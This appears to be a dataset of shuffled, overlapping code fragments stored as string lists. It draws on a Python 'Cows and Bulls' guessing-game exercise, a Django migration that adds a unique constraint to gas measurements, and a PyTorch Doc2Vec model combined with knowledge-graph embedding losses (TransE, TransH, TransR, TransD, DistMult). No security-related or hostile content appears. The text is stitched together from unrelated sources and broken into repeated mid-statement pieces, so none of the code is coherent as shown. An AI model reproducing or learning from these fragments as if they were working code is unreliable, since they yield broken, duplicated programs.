"place, they have a “cow”. For every digit the user guessed correctly in",
"secret_number = str(random.randint(1000, 9999)) with open(\"secret_number.txt\", \"w\") as file: print(secret_number, file=file) return secret_number",
"\"\"\" cows = bulls = 0 secret_chars = secret for i in range(len(secret)):",
"like this: Randomly generate a 4-digit number. Ask the user to guess a",
"user guesses the number. \"\"\" import random def get_secret_number(): \"\"\" Define the secret",
"time the user makes a guess, tell them how many “cows” and “bulls”",
"guessed = False attempts = 0 secret = get_secret_number() while not guessed: user",
"4-digit number: \") attempts += 1 if user == secret: guessed = True",
"over. Keep track of the number of guesses the user makes throughout teh",
"a number: >>> 1234 2 cows, 0 bulls >>> 1256 1 cow, 1",
"print(secret_number, file=file) return secret_number def get_cows_and_bulls(secret, user): \"\"\"Calculate the amount of cows and",
"# -*- coding: utf-8 -*- \"\"\"Exercise 18: Cows And Bulls Create a program",
"And Bulls Create a program that will play the “cows and bulls” game",
"they have a “cow”. For every digit the user guessed correctly in the",
"it to a file. \"\"\" secret_number = str(random.randint(1000, 9999)) with open(\"secret_number.txt\", \"w\") as",
"have a “cow”. For every digit the user guessed correctly in the wrong",
"the amount of cows and bulls. \"\"\" cows = bulls = 0 secret_chars",
"user at the end. Say the number generated by the computer is 1038.",
"to the Cows and Bulls Game! Enter a number: >>> 1234 2 cows,",
"makes throughout teh game and tell the user at the end. Say the",
"secret[i]: cows += 1 if user[i] in secret_chars: bulls += 1 secret_chars =",
"the user makes throughout teh game and tell the user at the end.",
"random def get_secret_number(): \"\"\" Define the secret number and write it to a",
"= remove_char(secret_chars, user[i]) return cows, bulls def remove_char(s, c): \"\"\"Remove a char of",
"will play the “cows and bulls” game with the user. The game works",
"if user == secret: guessed = True print(\"%i cows, %i bulls\" % (get_cows_and_bulls(secret,",
"number. Ask the user to guess a 4-digit number. For every digit that",
"secret_chars: bulls += 1 secret_chars = remove_char(secret_chars, user[i]) return cows, bulls def remove_char(s,",
"look like this: Welcome to the Cows and Bulls Game! Enter a number:",
"how many “cows” and “bulls” they have. Once the user guesses the correct",
"is 1038. An example interaction could look like this: Welcome to the Cows",
"in secret_chars: bulls += 1 secret_chars = remove_char(secret_chars, user[i]) return cows, bulls def",
"play the “cows and bulls” game with the user. The game works like",
"file: print(secret_number, file=file) return secret_number def get_cows_and_bulls(secret, user): \"\"\"Calculate the amount of cows",
"could look like this: Welcome to the Cows and Bulls Game! Enter a",
"range(len(secret)): if user[i] == secret[i]: cows += 1 if user[i] in secret_chars: bulls",
"bulls >>> 1256 1 cow, 1 bull Until the user guesses the number.",
"secret: guessed = True print(\"%i cows, %i bulls\" % (get_cows_and_bulls(secret, user))) print( \"Congrats!",
"throughout teh game and tell the user at the end. Say the number",
"with open(\"secret_number.txt\", \"w\") as file: print(secret_number, file=file) return secret_number def get_cows_and_bulls(secret, user): \"\"\"Calculate",
"1234 2 cows, 0 bulls >>> 1256 1 cow, 1 bull Until the",
"list(s) list_chars.remove(c) return \"\".join(list_chars) if __name__ == \"__main__\": guessed = False attempts =",
"number of guesses the user makes throughout teh game and tell the user",
"user. The game works like this: Randomly generate a 4-digit number. Ask the",
"many “cows” and “bulls” they have. Once the user guesses the correct number,",
"Keep track of the number of guesses the user makes throughout teh game",
"digit the user guessed correctly in the wrong place is a “bull.” Every",
"the user to guess a 4-digit number. For every digit that the user",
"\"\"\"Remove a char of the string. When a user character exist in a",
"bulls” game with the user. The game works like this: Randomly generate a",
"game works like this: Randomly generate a 4-digit number. Ask the user to",
"-*- \"\"\"Exercise 18: Cows And Bulls Create a program that will play the",
"number: >>> 1234 2 cows, 0 bulls >>> 1256 1 cow, 1 bull",
"the end. Say the number generated by the computer is 1038. An example",
"Enter a number: >>> 1234 2 cows, 0 bulls >>> 1256 1 cow,",
"makes a guess, tell them how many “cows” and “bulls” they have. Once",
"For every digit the user guessed correctly in the wrong place is a",
"user character exist in a secret_chars, add 1 to bulls and remove it",
"get_secret_number(): \"\"\" Define the secret number and write it to a file. \"\"\"",
"cow, 1 bull Until the user guesses the number. \"\"\" import random def",
"coding: utf-8 -*- \"\"\"Exercise 18: Cows And Bulls Create a program that will",
"0 secret_chars = secret for i in range(len(secret)): if user[i] == secret[i]: cows",
"cows += 1 if user[i] in secret_chars: bulls += 1 secret_chars = remove_char(secret_chars,",
"-*- coding: utf-8 -*- \"\"\"Exercise 18: Cows And Bulls Create a program that",
"user guessed correctly in the wrong place is a “bull.” Every time the",
"secret for i in range(len(secret)): if user[i] == secret[i]: cows += 1 if",
"the count \"\"\" list_chars = list(s) list_chars.remove(c) return \"\".join(list_chars) if __name__ == \"__main__\":",
"\"\"\" import random def get_secret_number(): \"\"\" Define the secret number and write it",
"if user[i] == secret[i]: cows += 1 if user[i] in secret_chars: bulls +=",
"the number. \"\"\" import random def get_secret_number(): \"\"\" Define the secret number and",
"Every time the user makes a guess, tell them how many “cows” and",
"number: \") attempts += 1 if user == secret: guessed = True print(\"%i",
"and remove it of secret_chars to don't duplicate the count \"\"\" list_chars =",
"it of secret_chars to don't duplicate the count \"\"\" list_chars = list(s) list_chars.remove(c)",
"get_secret_number() while not guessed: user = input(\"Guess a 4-digit number: \") attempts +=",
"and bulls. \"\"\" cows = bulls = 0 secret_chars = secret for i",
"secret_chars, add 1 to bulls and remove it of secret_chars to don't duplicate",
"0 secret = get_secret_number() while not guessed: user = input(\"Guess a 4-digit number:",
"computer is 1038. An example interaction could look like this: Welcome to the",
"guess a 4-digit number. For every digit that the user guessed correctly in",
"character exist in a secret_chars, add 1 to bulls and remove it of",
"i in range(len(secret)): if user[i] == secret[i]: cows += 1 if user[i] in",
"__name__ == \"__main__\": guessed = False attempts = 0 secret = get_secret_number() while",
"An example interaction could look like this: Welcome to the Cows and Bulls",
"python3 # -*- coding: utf-8 -*- \"\"\"Exercise 18: Cows And Bulls Create a",
"that the user guessed correctly in the correct place, they have a “cow”.",
">>> 1256 1 cow, 1 bull Until the user guesses the number. \"\"\"",
"%i bulls\" % (get_cows_and_bulls(secret, user))) print( \"Congrats! The number is %s. You did",
"of secret_chars to don't duplicate the count \"\"\" list_chars = list(s) list_chars.remove(c) return",
"a file. \"\"\" secret_number = str(random.randint(1000, 9999)) with open(\"secret_number.txt\", \"w\") as file: print(secret_number,",
"4-digit number. For every digit that the user guessed correctly in the correct",
"guessed correctly in the correct place, they have a “cow”. For every digit",
"exist in a secret_chars, add 1 to bulls and remove it of secret_chars",
"\"\".join(list_chars) if __name__ == \"__main__\": guessed = False attempts = 0 secret =",
"correct number, the game is over. Keep track of the number of guesses",
"Once the user guesses the correct number, the game is over. Keep track",
"if __name__ == \"__main__\": guessed = False attempts = 0 secret = get_secret_number()",
"to guess a 4-digit number. For every digit that the user guessed correctly",
"a “bull.” Every time the user makes a guess, tell them how many",
"the number generated by the computer is 1038. An example interaction could look",
"of guesses the user makes throughout teh game and tell the user at",
"them how many “cows” and “bulls” they have. Once the user guesses the",
">>> 1234 2 cows, 0 bulls >>> 1256 1 cow, 1 bull Until",
"4-digit number. Ask the user to guess a 4-digit number. For every digit",
"= True print(\"%i cows, %i bulls\" % (get_cows_and_bulls(secret, user))) print( \"Congrats! The number",
"print(\"%i cows, %i bulls\" % (get_cows_and_bulls(secret, user))) print( \"Congrats! The number is %s.",
"program that will play the “cows and bulls” game with the user. The",
"to bulls and remove it of secret_chars to don't duplicate the count \"\"\"",
"“bulls” they have. Once the user guesses the correct number, the game is",
"Ask the user to guess a 4-digit number. For every digit that the",
"= False attempts = 0 secret = get_secret_number() while not guessed: user =",
"= str(random.randint(1000, 9999)) with open(\"secret_number.txt\", \"w\") as file: print(secret_number, file=file) return secret_number def",
"When a user character exist in a secret_chars, add 1 to bulls and",
"\"\"\"Calculate the amount of cows and bulls. \"\"\" cows = bulls = 0",
"= secret for i in range(len(secret)): if user[i] == secret[i]: cows += 1",
"bulls def remove_char(s, c): \"\"\"Remove a char of the string. When a user",
"the Cows and Bulls Game! Enter a number: >>> 1234 2 cows, 0",
"user[i] in secret_chars: bulls += 1 secret_chars = remove_char(secret_chars, user[i]) return cows, bulls",
"2 cows, 0 bulls >>> 1256 1 cow, 1 bull Until the user",
"for i in range(len(secret)): if user[i] == secret[i]: cows += 1 if user[i]",
"Define the secret number and write it to a file. \"\"\" secret_number =",
"18: Cows And Bulls Create a program that will play the “cows and",
"Welcome to the Cows and Bulls Game! Enter a number: >>> 1234 2",
"secret_chars to don't duplicate the count \"\"\" list_chars = list(s) list_chars.remove(c) return \"\".join(list_chars)",
"a char of the string. When a user character exist in a secret_chars,",
"== secret: guessed = True print(\"%i cows, %i bulls\" % (get_cows_and_bulls(secret, user))) print(",
"user = input(\"Guess a 4-digit number: \") attempts += 1 if user ==",
"The game works like this: Randomly generate a 4-digit number. Ask the user",
"def remove_char(s, c): \"\"\"Remove a char of the string. When a user character",
"the user makes a guess, tell them how many “cows” and “bulls” they",
"guess, tell them how many “cows” and “bulls” they have. Once the user",
"every digit the user guessed correctly in the wrong place is a “bull.”",
"number, the game is over. Keep track of the number of guesses the",
"works like this: Randomly generate a 4-digit number. Ask the user to guess",
"don't duplicate the count \"\"\" list_chars = list(s) list_chars.remove(c) return \"\".join(list_chars) if __name__"
] |
[
"Generated by Django 3.2.4 on 2021-12-14 11:17 from django.db import migrations, models class",
"import migrations, models class Migration(migrations.Migration): dependencies = [ ('finliveapp', '0027_gassystem_wind_direction'), ] operations =",
"2021-12-14 11:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('finliveapp',",
"django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('finliveapp', '0027_gassystem_wind_direction'), ] operations",
"from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('finliveapp', '0027_gassystem_wind_direction'), ]",
"] operations = [ migrations.AddConstraint( model_name='gasmeasurement', constraint=models.UniqueConstraint(fields=('equipment', 'start_time'), name='unique gas measurement'), ), ]",
"models class Migration(migrations.Migration): dependencies = [ ('finliveapp', '0027_gassystem_wind_direction'), ] operations = [ migrations.AddConstraint(",
"<reponame>FinLiveRI/FinLiveApp<filename>finliveapp/migrations/0028_gasmeasurement_unique gas measurement.py # Generated by Django 3.2.4 on 2021-12-14 11:17 from django.db",
"[ ('finliveapp', '0027_gassystem_wind_direction'), ] operations = [ migrations.AddConstraint( model_name='gasmeasurement', constraint=models.UniqueConstraint(fields=('equipment', 'start_time'), name='unique gas",
"Migration(migrations.Migration): dependencies = [ ('finliveapp', '0027_gassystem_wind_direction'), ] operations = [ migrations.AddConstraint( model_name='gasmeasurement', constraint=models.UniqueConstraint(fields=('equipment',",
"Django 3.2.4 on 2021-12-14 11:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies",
"class Migration(migrations.Migration): dependencies = [ ('finliveapp', '0027_gassystem_wind_direction'), ] operations = [ migrations.AddConstraint( model_name='gasmeasurement',",
"by Django 3.2.4 on 2021-12-14 11:17 from django.db import migrations, models class Migration(migrations.Migration):",
"'0027_gassystem_wind_direction'), ] operations = [ migrations.AddConstraint( model_name='gasmeasurement', constraint=models.UniqueConstraint(fields=('equipment', 'start_time'), name='unique gas measurement'), ),",
"# Generated by Django 3.2.4 on 2021-12-14 11:17 from django.db import migrations, models",
"('finliveapp', '0027_gassystem_wind_direction'), ] operations = [ migrations.AddConstraint( model_name='gasmeasurement', constraint=models.UniqueConstraint(fields=('equipment', 'start_time'), name='unique gas measurement'),",
"migrations, models class Migration(migrations.Migration): dependencies = [ ('finliveapp', '0027_gassystem_wind_direction'), ] operations = [",
"dependencies = [ ('finliveapp', '0027_gassystem_wind_direction'), ] operations = [ migrations.AddConstraint( model_name='gasmeasurement', constraint=models.UniqueConstraint(fields=('equipment', 'start_time'),",
"on 2021-12-14 11:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [",
"11:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('finliveapp', '0027_gassystem_wind_direction'),",
"measurement.py # Generated by Django 3.2.4 on 2021-12-14 11:17 from django.db import migrations,",
"= [ ('finliveapp', '0027_gassystem_wind_direction'), ] operations = [ migrations.AddConstraint( model_name='gasmeasurement', constraint=models.UniqueConstraint(fields=('equipment', 'start_time'), name='unique",
"gas measurement.py # Generated by Django 3.2.4 on 2021-12-14 11:17 from django.db import",
"3.2.4 on 2021-12-14 11:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies ="
] |
[
"(batch_size, num_noise_words + 1) Sparse unnormalized log probabilities. The first element in each",
"self.W_R[ri,:] d_ri_emb = self.D_R[ri,:] #tj = random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if torch.cuda.is_available(): # tj =",
"'transd': hi_emb = projection_transD(hi_emb, w_ri_emb) ti_emb = projection_transD(ti_emb, w_ri_emb) tj_emb = projection_transD(tj_emb, w_ri_emb)",
"ti_emb), 1) neg = torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb), 1) elif self.kg_model_ver == 'transr': M_R",
"total_loss = kg_loss else: raise ValueError(\"Both D2V and KG model can not be",
"pos_t_e = projection_transH(ti_emb, d_ri_emb) neg_h_e = projection_transH(hi_emb, d_ri_emb) neg_t_e = projection_transH(tj_emb, d_ri_emb) pos",
"= nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # word matrix self._W = nn.Parameter( torch.randn(num_words, vec_dim),",
"dim=1, keepdim=True) * norm class Link_Model(nn.Module): \"\"\"Link prediction model\"\"\" def __init__(self, kg_model): self.vec_dim",
"The first element in each row is the ground truth score (i.e. the",
"(1-self.delta)*d2v_loss + self.delta*kg_loss elif self.d2v_model_ver != 'none': total_loss = d2v_loss elif self.kg_model_ver !=",
"_, _, hi, ti, ri, _) out = self.linear(pos) return out class D2V_KG(nn.Module):",
"torch.randn(n_rel, vec_dim, vec_dim), requires_grad=True) normalize_entity_emb = F.normalize(self.d2v._D.data, p=2, dim=1) normalize_relation_emb = F.normalize(self.W_R.data, p=2,",
"triplets from relational graph ri: torch.Tensor of size (batch_size,) Relations from golden triplets",
"= d2v_model_ver if d2v_model_ver == 'dm': self.d2v = DM(vec_dim, num_docs, num_words) else: self.d2v",
"negative sampling loss. Parameters ---------- doc_ids: torch.Tensor of size (batch_size,) Document indices of",
"their Compositionality. \"\"\" def __init__(self): super(NegativeSampling, self).__init__() self._log_sigmoid = nn.LogSigmoid() def forward(self, scores):",
"self.kg_model_ver != 'none': #print (pos.shape, neg.shape) kg_loss = self.kg_loss_fn(pos, neg, self.margin) else: kg_loss",
"with word vectors of # input (context) words x = torch.add( self._D[doc_ids, :],",
"forward(self, pos, neg, margin): val = pos - neg + margin return torch.sum(torch.max(val,",
"super(DM, self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # word",
"the negative sampling loss. Parameters ---------- doc_ids: torch.Tensor of size (batch_size,) Document indices",
"\"\"\"Sparse computation of scores (unnormalized log probabilities) that should be passed to the",
"hi_emb, tj_emb), 1) elif self.kg_model_ver == 'transr': M_R = self.M_R[ri,:] hi_emb = torch.einsum('ij,",
"super(D2V_KG, self).__init__() self.num_docs = num_docs self.margin = margin self.delta = delta self.kg_model_ver =",
"= projection_transD(tj_emb, w_ri_emb) pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1)",
"2, 1) elif self.kg_model_ver == 'distmult': pos = torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb), 1) neg",
"triplets from relational graph tj: torch.Tensor of size (batch_size,) Tails from noisy triplets",
"return self._D[index, :].data.tolist() class DBOW(nn.Module): \"\"\"Distributed Bag of Words version of Paragraph Vectors.",
"self.kg_loss_fn(pos, neg, self.margin) else: kg_loss = torch.FloatTensor([0]) if self.d2v_model_ver != 'none' and self.kg_model_ver",
"self.kg_loss_fn = marginLoss() self.W_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.D_R = nn.Parameter( torch.randn(n_rel,",
"Words version of Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality of vectors to",
"of distinct words in a daset (i.e. vocabulary size). \"\"\" def __init__(self, vec_dim,",
"---------- context_ids: torch.Tensor of size (batch_size, num_context_words) Vocabulary indices of context words. doc_ids:",
"# word matrix self._W = nn.Parameter( torch.randn(num_words, vec_dim), requires_grad=True) # output layer parameters",
"nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.D_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.M_R = nn.Parameter(",
"(context) words x = torch.add( self._D[doc_ids, :], torch.sum(self._W[context_ids, :], dim=1)) # sparse computation",
"size (batch_size,) Tails from noisy triplets from relational graph Returns ------- autograd.Variable of",
"output layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True) def forward(self, context_ids, doc_ids,",
"the negative sampling loss. Parameters ---------- context_ids: torch.Tensor of size (batch_size, num_context_words) Vocabulary",
"tj_emb) ** 2, 1) elif self.kg_model_ver == 'transd': hi_emb = projection_transD(hi_emb, w_ri_emb) ti_emb",
"p=2, dim=1) ti_emb = F.normalize(ti_emb, p=2, dim=1) tj_emb = F.normalize(tj_emb, p=2, dim=1) pos",
"F import random import numpy as np import torch.autograd as autograd class NegativeSampling(nn.Module):",
"= projection_transH(tj_emb, d_ri_emb) pos = torch.sum((pos_h_e + w_ri_emb - pos_t_e) ** 2, 1)",
"of size (batch_size, num_context_words) Vocabulary indices of context words. doc_ids: torch.Tensor of size",
"delta): super(D2V_KG, self).__init__() self.num_docs = num_docs self.margin = margin self.delta = delta self.kg_model_ver",
"w_ri_emb) pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1) neg =",
"= nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # output layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim,",
"self.kg_model = kg_model #self.linear1 = nn.Linear(self.vec_dim, self.out_dim) self.linear = nn.Linear(1, 1, bias=True, requires_grad=True)",
"Phrases and their Compositionality. \"\"\" def __init__(self): super(NegativeSampling, self).__init__() self._log_sigmoid = nn.LogSigmoid() def",
"noise distribution. hi: torch.Tensor of size (batch_size,) Heads from golden triplets from relational",
"torch.randn(num_docs, vec_dim), requires_grad=True) # word matrix self._W = nn.Parameter( torch.randn(num_words, vec_dim), requires_grad=True) #",
"= kg_model_ver self.d2v_model_ver = d2v_model_ver if d2v_model_ver == 'dm': self.d2v = DM(vec_dim, num_docs,",
"super(DBOW, self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # output",
"super(NegativeSampling, self).__init__() self._log_sigmoid = nn.LogSigmoid() def forward(self, scores): \"\"\"Computes the value of the",
"(batch_size, num_noise_words + 1) \"\"\" # sparse computation of scores (unnormalized log probabilities)",
"hi, ti, ri): with torch.no_grad(): _, _, _, _, pos, _ = self.kg_model(_,",
"with torch.no_grad(): _, _, _, _, pos, _ = self.kg_model(_, _, _, hi,",
"= self.linear(pos) return out class D2V_KG(nn.Module): \"\"\"Doc2vec model with transh loss \"\"\" def",
"the noise distribution. Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\"",
"nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # word matrix self._W = nn.Parameter( torch.randn(num_words, vec_dim), requires_grad=True)",
"as autograd class NegativeSampling(nn.Module): \"\"\"Negative sampling loss as proposed by <NAME> al. in",
"ti_emb, M_R) tj_emb = torch.einsum('ij, ijk -> ik', tj_emb, M_R) hi_emb = F.normalize(hi_emb,",
"(i.e. vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DBOW, self).__init__() # paragraph",
"self.M_R = nn.Parameter( torch.randn(n_rel, vec_dim, vec_dim), requires_grad=True) normalize_entity_emb = F.normalize(self.d2v._D.data, p=2, dim=1) normalize_relation_emb",
"neg = torch.sum((neg_h_e + w_ri_emb - neg_t_e) ** 2, 1) elif self.kg_model_ver ==",
"1) Sparse unnormalized log probabilities. The first element in each row is the",
"kg_model): self.vec_dim = vec_dinm self.out_dim = out_dim self.kg_model = kg_model #self.linear1 = nn.Linear(self.vec_dim,",
"log probabilities) # for negative sampling return torch.bmm( self._D[doc_ids, :].unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0,",
"= nn.LogSigmoid() def forward(self, scores): \"\"\"Computes the value of the loss function. Parameters",
"(batch_size, num_context_words) Vocabulary indices of context words. doc_ids: torch.Tensor of size (batch_size,) Document",
"2, 1) neg = torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) elif",
"= torch.einsum('ij, ijk -> ik', ti_emb, M_R) tj_emb = torch.einsum('ij, ijk -> ik',",
"tj_emb = projection_transD(tj_emb, w_ri_emb) pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2,",
"Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" # sparse computation",
"* norm def projection_DistMult(original, norm1, norm2): return torch.sum(original * norm1, dim=1, keepdim=True) *",
"out class D2V_KG(nn.Module): \"\"\"Doc2vec model with transh loss \"\"\" def __init__(self, vec_dim, num_docs,",
"ti_emb = F.normalize(ti_emb, p=2, dim=1) tj_emb = F.normalize(tj_emb, p=2, dim=1) pos = torch.sum((hi_emb",
"NegativeSampling(nn.Module): \"\"\"Negative sampling loss as proposed by <NAME> al. in Distributed Representations of",
"dim=1) ti_emb = F.normalize(ti_emb, p=2, dim=1) tj_emb = F.normalize(tj_emb, p=2, dim=1) pos =",
"import numpy as np import torch.autograd as autograd class NegativeSampling(nn.Module): \"\"\"Negative sampling loss",
"= kg_model #self.linear1 = nn.Linear(self.vec_dim, self.out_dim) self.linear = nn.Linear(1, 1, bias=True, requires_grad=True) def",
"** 2, 1) elif self.kg_model_ver == 'transe': pos = torch.sum((hi_emb + w_ri_emb -",
"DM(vec_dim, num_docs, num_words) else: self.d2v = DBOW(vec_dim, num_docs, num_words) self.cost_func = NegativeSampling() self.kg_loss_fn",
"ground truth score (i.e. the target), other elements are scores of samples from",
"try: k = scores.size()[1] - 1 return -torch.sum( self._log_sigmoid(scores[:, 0]) + torch.sum(self._log_sigmoid(-scores[:, 1:]),",
"= nn.Linear(1, 1, bias=True, requires_grad=True) def forward(self, hi, ti, ri): with torch.no_grad(): _,",
"class DM(nn.Module): \"\"\"Distributed Memory version of Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality",
"def __init__(self, vec_dim, num_docs, num_words): super(DBOW, self).__init__() # paragraph matrix self._D = nn.Parameter(",
"- tj_emb) ** 2, 1) if self.d2v_model_ver != 'none': d2v_output = self.d2v.forward(context_ids, doc_ids,",
"graph ri: torch.Tensor of size (batch_size,) Relations from golden triplets from relational graph",
"\"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DM, self).__init__() # paragraph matrix self._D =",
"Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality of vectors to be learned (for",
"def __init__(self, vec_dim, num_docs, num_words): super(DM, self).__init__() # paragraph matrix self._D = nn.Parameter(",
"if d2v_model_ver == 'dm': self.d2v = DM(vec_dim, num_docs, num_words) else: self.d2v = DBOW(vec_dim,",
"sparse computation of scores (unnormalized log probabilities) # for negative sampling return torch.bmm(",
"target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index): return self._D[index, :].data.tolist() class DBOW(nn.Module): \"\"\"Distributed Bag",
"1:]), dim=1) / k ) / scores.size()[0] except: k = 1 return -torch.sum(torch.sum(self._log_sigmoid(scores)))",
"tj_emb = torch.einsum('ij, ijk -> ik', tj_emb, M_R) hi_emb = F.normalize(hi_emb, p=2, dim=1)",
"'none': d2v_output = self.d2v.forward(context_ids, doc_ids, target_noise_ids) d2v_loss = self.cost_func.forward(d2v_output) else: d2v_output = torch.FloatTensor([0])",
"M_R) hi_emb = F.normalize(hi_emb, p=2, dim=1) ti_emb = F.normalize(ti_emb, p=2, dim=1) tj_emb =",
"matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # word matrix self._W = nn.Parameter(",
"== 'transh': pos_h_e = projection_transH(hi_emb, d_ri_emb) pos_t_e = projection_transH(ti_emb, d_ri_emb) neg_h_e = projection_transH(hi_emb,",
"in each row is the ground truth score (i.e. the target), other elements",
"indices of target and noise words. The first element in each row is",
"requires_grad=True) self.M_R = nn.Parameter( torch.randn(n_rel, vec_dim, vec_dim), requires_grad=True) normalize_entity_emb = F.normalize(self.d2v._D.data, p=2, dim=1)",
"if self.d2v_model_ver != 'none' and self.kg_model_ver != 'none': total_loss = (1-self.delta)*d2v_loss + self.delta*kg_loss",
"noise distribution. Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" #",
"to the negative sampling loss. Parameters ---------- doc_ids: torch.Tensor of size (batch_size,) Document",
"norm1, norm2): return torch.sum(original * norm1, dim=1, keepdim=True) * norm2 def projection_transD(original, norm):",
"= torch.sum((neg_h_e + w_ri_emb - neg_t_e) ** 2, 1) elif self.kg_model_ver == 'transe':",
"nn.Linear(1, 1, bias=True, requires_grad=True) def forward(self, hi, ti, ri): with torch.no_grad(): _, _,",
"(batch_size, num_noise_words + 1) \"\"\" hi_emb = self.d2v._D[hi,:] ti_emb = self.d2v._D[ti,:] w_ri_emb =",
"other elements are indices of samples from the noise distribution. hi: torch.Tensor of",
"D2V_KG(nn.Module): \"\"\"Doc2vec model with transh loss \"\"\" def __init__(self, vec_dim, num_docs, num_words, n_rel,",
"kg_model #self.linear1 = nn.Linear(self.vec_dim, self.out_dim) self.linear = nn.Linear(1, 1, bias=True, requires_grad=True) def forward(self,",
"class marginLoss(nn.Module): def __init__(self): super(marginLoss, self).__init__() def forward(self, pos, neg, margin): val =",
"of size (batch_size,) Relations from golden triplets from relational graph tj: torch.Tensor of",
"= self.D_R[ri,:] #tj = random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if torch.cuda.is_available(): # tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb",
"golden triplets from relational graph ti: torch.Tensor of size (batch_size,) Tails from golden",
"hi, ti, ri, tj): \"\"\"Sparse computation of scores (unnormalized log probabilities) that should",
"pos, _ = self.kg_model(_, _, _, hi, ti, ri, _) out = self.linear(pos)",
"numpy as np import torch.autograd as autograd class NegativeSampling(nn.Module): \"\"\"Negative sampling loss as",
"hi_emb, ti_emb), 1) neg = torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb), 1) elif self.kg_model_ver == 'transr':",
"ik', tj_emb, M_R) hi_emb = F.normalize(hi_emb, p=2, dim=1) ti_emb = F.normalize(ti_emb, p=2, dim=1)",
"self.D_R.data = normalize_norm_emb def forward(self, context_ids, doc_ids, target_noise_ids, hi, ti, ri, tj): \"\"\"Sparse",
"#tj = random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if torch.cuda.is_available(): # tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb = self.d2v._D[tj,:]",
"self.kg_model_ver != 'none': total_loss = (1-self.delta)*d2v_loss + self.delta*kg_loss elif self.d2v_model_ver != 'none': total_loss",
"words in a daset (i.e. vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words):",
"of # input (context) words x = torch.add( self._D[doc_ids, :], torch.sum(self._W[context_ids, :], dim=1))",
"int Dimensionality of vectors to be learned (for paragraphs and words). num_docs: int",
"= DBOW(vec_dim, num_docs, num_words) self.cost_func = NegativeSampling() self.kg_loss_fn = marginLoss() self.W_R = nn.Parameter(",
"sampling loss. Parameters ---------- doc_ids: torch.Tensor of size (batch_size,) Document indices of paragraphs.",
"ri, _) out = self.linear(pos) return out class D2V_KG(nn.Module): \"\"\"Doc2vec model with transh",
"torch.einsum('ij, ijk -> ik', tj_emb, M_R) hi_emb = F.normalize(hi_emb, p=2, dim=1) ti_emb =",
"element in each row is the ground truth score (i.e. the target), other",
"norm2): return torch.sum(original * norm1, dim=1, keepdim=True) * norm2 def projection_transD(original, norm): return",
"torch import torch.nn as nn import torch.nn.functional as F import random import numpy",
"num_docs, num_words): super(DM, self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True)",
"torch.sum(original * norm, dim=1, keepdim=True) * norm class Link_Model(nn.Module): \"\"\"Link prediction model\"\"\" def",
"model with transh loss \"\"\" def __init__(self, vec_dim, num_docs, num_words, n_rel, d2v_model_ver, kg_model_ver,",
"samples from the noise distribution. hi: torch.Tensor of size (batch_size,) Heads from golden",
"------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" hi_emb = self.d2v._D[hi,:] ti_emb",
"num_words: int Number of distinct words in a daset (i.e. vocabulary size). \"\"\"",
"= F.normalize(tj_emb, p=2, dim=1) pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2,",
"self._D[doc_ids, :], torch.sum(self._W[context_ids, :], dim=1)) # sparse computation of scores (unnormalized log probabilities)",
"num_docs, num_words): super(DBOW, self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True)",
"1) \"\"\" # sparse computation of scores (unnormalized log probabilities) # for negative",
"vector with word vectors of # input (context) words x = torch.add( self._D[doc_ids,",
"index (i.e. the target), other elements are indices of samples from the noise",
"ti_emb = projection_transD(ti_emb, w_ri_emb) tj_emb = projection_transD(tj_emb, w_ri_emb) pos = torch.sum((hi_emb + w_ri_emb",
"pos, neg def get_paragraph_vector(self, index): return self.d2v._D[index, :].data.tolist() class DM(nn.Module): \"\"\"Distributed Memory version",
"margin): val = pos - neg + margin return torch.sum(torch.max(val, torch.zeros_like(val))) def projection_transH(original,",
"dim=1) / k ) / scores.size()[0] except: k = 1 return -torch.sum(torch.sum(self._log_sigmoid(scores))) class",
"size (batch_size, num_noise_words + 1) Vocabulary indices of target and noise words. The",
